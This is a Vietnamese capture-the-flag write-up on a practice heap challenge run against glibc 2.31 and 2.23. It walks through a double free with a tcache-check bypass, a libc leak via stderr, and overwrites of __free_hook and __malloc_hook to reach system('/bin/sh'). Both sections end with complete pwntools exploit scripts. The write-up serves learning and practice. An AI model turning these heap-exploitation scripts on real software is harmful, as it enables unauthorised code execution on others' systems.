# (writeup) Practice Heap Exploit - challenge này cùng một file binary nhưng version libc khác nhau - basic file check ![](https://i.imgur.com/2w0eEnt.png) - check ida ![](https://hackmd.io/_uploads/S1UL35QAh.png) - hàm **menu()** đơn giản là in các option cho mình thôi ![](https://i.imgur.com/z7XqvU0.png) - nhìn vào ida, ta có thể thấy lỗi UAF hoặc DBF ```c ptr = malloc(size[0]); --- free(ptr) ``` > vì không xoá con trỏ sau khi **free()** - địa chỉ **ptr** = 0x404058 ## 2.31 - glibc này sẽ có tcache, nhưng vẫn có BUG để ta khai thác - trigger thử DBF ![](https://hackmd.io/_uploads/H1MQm2mR2.png) > khi tạo thử 1 chunk rồi free 2 lần > có kiểm tra lỗi DBF ở tcache - tiếp tục là BUG nhỏ ```c *((_BYTE *)ptr + (unsigned int)(size[0] - 1)) = 0; ``` > setup cuối chuỗi payload là NULL byte > không phải thêm cuối chuỗi là NULL byte (tránh hiểu nhầm ở đây) - **malloc()** thử rồi ta **free()** nó - kiểm tra chunk ![](https://i.imgur.com/ZxGz8K7.png) - lúc này thấy sau khi **free()**, bk ở chunk thứ 2 nó lại trùng với chunk thứ 1 (bk là ptr trỏ về tcache_perthread_struck) - để có thể bypass lỗi DBF ở tcache thì chỉ còn cách xoá bk trỏ về tcache_perthread_struct - vậy nếu ta chọn option2 để tiếp tục thay đổi nội dung là NULL byte thì sao ![](https://i.imgur.com/28YXsTE.png) >``loop detected`` ---> trigger thành công - bins ![](https://i.imgur.com/ZtNGJUO.png) - :bulb: idea: vì k có system hay đọc flag nên hướng đi ---> tạo shell bằng kỹ thuật ow_free_hook ### leak libc - ta cần leak libc đầu tiên - nhưng không thể đưa vào ubin để show được - idea nho nhỏ là lấy ``IO_2_1_stdout`` ở trong bài hook dreamhack - nhưng có lẽ không dc, vì stdout là dữ liệu ra, hiện tại k có dữ liệu ra thì k dc, stdin cũng tương tự v - nên chỉ còn stderr là phương án cuối cùng (PIE tắt nên khả thi) - chọn option2 để đổi content thành ``exe.sym['stderr']`` (vẫn nằm trong tcache) > lúc này **ptr** sẽ là 0x404040 (địa chỉ stderr của exe) - ta sẽ chọn option1 2 lần để tạo thêm 2 malloc để sửa chunks - malloc đầu để lấy chunk loop ra - nhưng ở lần malloc thứ 2 ta sẽ ghi 1 byte cuối là '\xc0' để không thay đổi stderr ![](https://hackmd.io/_uploads/Syq6inmC3.png) > ghi '\xc0' tại địa chỉ 0x404040 trỏ tới stderr ![](https://hackmd.io/_uploads/Sk0Eo3mA2.png) - và chọn option4 để in ra (in **ptr**) > do ida sẽ in content của biến **ptr** ![](https://i.imgur.com/Kma151J.png) - nó sẽ in ra byte, ta sẽ sài u64() thay vì ``p.recvline()[:-1]`` ![](https://i.imgur.com/hbNIlqq.png) > đuôi base 000 có vẻ đúng r ### ow free_hook -> system - ta sẽ tiếp tục double free - rồi ghi ``__free_hook`` (tương tự cái trên) ![](https://i.imgur.com/bcY71L6.png) > **ptr** hiện tại là libc_free_hook - rồi ta tiếp tục option1 2 lần để malloc 2 cái > cái đầu lấy loop ra > cái thứ hai thì cứ ghi đại vô ![](https://hackmd.io/_uploads/Bk8N1pm0n.png) - option2 sửa lại content thành địa chỉ system ![](https://hackmd.io/_uploads/SkHF1pXRh.png) > sửa **ptr** hiện tại là dữ liệu nhập đại thành **system** - system xong thì ta sẽ thêm 1 malloc chứa chuỗi '/bin/sh\0' ![](https://i.imgur.com/lkL356u.png) > đã thêm '/bin/sh\0' - rồi free lần nữa là sẽ có shell ![](https://i.imgur.com/XMIO25Q.png) > $rdi là chuối '/bin/sh\0' > khi free sẽ qua bước kiểm tra free_hook > free_hook ban đầu là 0, nhưng nếu có giá trị tồn tại thì sẽ thực thi cái đó ![](https://i.imgur.com/hZi9grb.png) - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('./chall1_patched', checksec=False) libc = ELF('./libc-2.31.so', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+78 b*main+155 b*main+241 b*main+407 b*main+419 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('') else: p = process(exe.path) GDB() def add(size,data): sla(b'> ',b'1') sla(b'Size: ',str(size)) sa(b'Content: ',data) def delete(): sla(b'> ',b'3') def edit(data): sla(b'> ',b'2') sa(b'Content: ',data) def show(): sla(b'> ',b'4') ################### ### double free ### ################### add(0x30,b'hlaanisme') delete() edit(b'\0'*0x30) delete() ################# ### leak libc ### ################# edit(p64(exe.sym["stderr"])) add(0x30,b'hlaanisme') add(0x30,b'\xc0') show() p.recvuntil(b"Content: ") libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['_IO_2_1_stderr_'] info("libc_leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) #################### ### ow_free_hook ### #################### add(0x30,b'hlaanisme') delete() edit(b'\0'*0x30) delete() edit(p64(libc.sym['__free_hook'])) ################# ### ow system ### ################# add(0x30,b'hlaanisme') add(0x30,b'hlaanisme') edit(p64(libc.sym['system'])) ######################### ### /bin/sh get_shell ### ######################### add(0x30,b'/bin/sh\0') delete() p.interactive() ``` --- ## 2.23 - ở phiên bản libc này không có tcache nên khi free sẽ được đưa vào fastbins - nhưng fastbin có cơ chế chống DBF - ta khó có thể đưa 1 chunk vào ubin - trên fastbin sẽ có 1 thứ gọi là idx và size - vì cơ chế trong fastbin nó khá chặt chẽ hơn tcache ### leak libc - ta có thể leak libc nhờ vào stderr có trên exe - để làm điều đó, ta cần đưa stderr vào fastbin, đồng thời phải thoả size khi malloc ra giống với idx size ![](https://hackmd.io/_uploads/rJYVul91p.png) >ở vị trí stderr-19 sẽ có fake size 0x7f ~ 0x70 - để leak libc ra ta phải padding 3 byte nhằm mục đích nối chuỗi libc ![](https://hackmd.io/_uploads/H1gj9W9ya.png) ```python add(0x68,b'hlaan') delete() edit(p64(exe.sym['stderr']-19)) add(0x68,b'hlaan') add(0x68,b'a'*3) show() p.recvuntil(b'a'*3) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['_IO_2_1_stderr_'] info("libc_leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) ``` ### malloc_hook + one_gadget - sau khi leak libc, lần **edit()** tiếp theo sẽ lấy tại địa chỉ ``0x52f9d9c540000000`` ---> sửa content từ địa chỉ 0x40403d là stderr-11 - ta sẽ thay đổi **ptr** có địa chỉ là 0x404058 - nhận thấy rằng stderr là 0x404040, địa chỉ đang thay đổi là 0x40403d - mục tiêu sẽ là tạo fake chunk để ow **ptr** - và khi **free(ptr)** trong fastbin, nó sẽ check size của next_chunk khác 0 - hiện tại: ```python 0x40403d : ---> write from here 0x404040 0x404058 : ---> ptr (0x40403d) ``` - fake: ```python 0x40403d : 0x31 (fake size) #chunk 0x404035: 0x7f #0x40403d: 0x31 #reloc 0x404045: ---> edit goes here, need malloc at 0x404035 0x404040 : 0 0x404058 : ---> ptr(0x404040) #not matter 0x404098 : 0x41 #next size 0x4040a0 : fake_chunk ``` - ta sẽ làm mẫu fake size là 0x31 ~ malloc size 0x20 - cứ **add()**, **delete()** rồi **edit()** với content là 0x404035 (stdin+5) ```python add(0x20,b'hlaan') delete() edit(p64(exe.sym['stdin']+5)) add(0x20,b'hlaan') ``` - tiếp tục với fake next size (0x41 cần malloc size 0x30) - đồng thời ta setup con trỏ khi ``__malloc_hook`` là '/bin/sh' (setup luôn next_size của next_chunk) ```python add(0x30,b'hlaan') delete() edit(p64(0x4040a0-0x10)) add(0x30,b'hlaan') payload = b'/bin/sh\0' + p64(0) #0x4040a0 #0x4040a8 payload += p64(0) + p64(0x51) #0x4040b0 #next_size_of_next_chunk add(0x30,payload) ``` - sau đó ta sẽ setup fake_chunk ta cần phải có size 0x71 (vì ở ``__malloc_hook - 35`` có size phù hợp là 0x7f ) - ta sẽ setup sao cho **ptr** trỏ về địa chỉ mà fake size thành 0x71 - **free(ptr)** rồi **edit()** thành ``__malloc_hook - 35``, ---> lần malloc tiếp theo request size 0x68 là có thể ow thành **system** - cuối cùng là request size(arg = **$rdi**) cho malloc thành địa chỉ chứa '/bin/sh\0' là có shell ![](https://hackmd.io/_uploads/Hkl0fwskT.png) - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('./chall1_patched', checksec=False) libc = ELF('./libc-2.23.so', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+78 b*main+155 b*main+241 b*main+407 b*main+419 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('') else: p = process(exe.path) def add(size,data): sla(b'> ',b'1') sla(b'Size: ',str(size)) sa(b'Content: ',data) def delete(): sla(b'> ',b'3') def edit(data): sla(b'> ',b'2') sa(b'Content: ',data) def show(): sla(b'> ',b'4') GDB() ################# ### leak libc ### ################# add(0x68,b'hlaan') delete() edit(p64(exe.sym['stderr']-19)) add(0x68,b'hlaan') add(0x68,b'a'*3) show() p.recvuntil(b'a'*3) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['_IO_2_1_stderr_'] info("libc_leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) ptr = 0x404058 ################## ### setup ### ################## payload = b'\x31' + b'\0\0' payload += p64(0)*2 payload += p64(0) + p64(exe.sym['stderr']) #404050 #ptr payload += b'a'*8*6 + p64(0) payload += p64(0x41) edit(payload) ################## ### fake chunk ### ################## add(0x20,b'hlaan') delete() edit(p64(exe.sym['stdin']+5)) add(0x20,b'hlaan') ################## ### next chunk ### ################## add(0x30,b'hlaan') delete() edit(p64(0x4040a0-0x10)) add(0x30,b'hlaan') payload = b'/bin/sh\0' + p64(0) #0x4040a0 #0x4040a8 payload += p64(0) + p64(0x51) #0x4040b0 #next_size_of_next_chunk add(0x30,payload) ################### ### malloc_hook ### ################### payload = b'\0'*3 + p64(0x71) #0x404045 #0x404048(fake_size) payload += p64(0) + p64(exe.sym['size']) #size #ptr add(0x20,payload) delete() payload = p64(libc.sym['__malloc_hook']-35) edit(payload) add(0x68,b'hlaan') payload = b'\0'*19 + p64(libc.sym['system']) add(0x68,payload) ####################### ### trigger aborted ### ####################### sla(b'> ',b'1') sla(b'Size: ',str(0x4040a0)) #fake_next_chunk have '/bin/sh\0' p.interactive() ```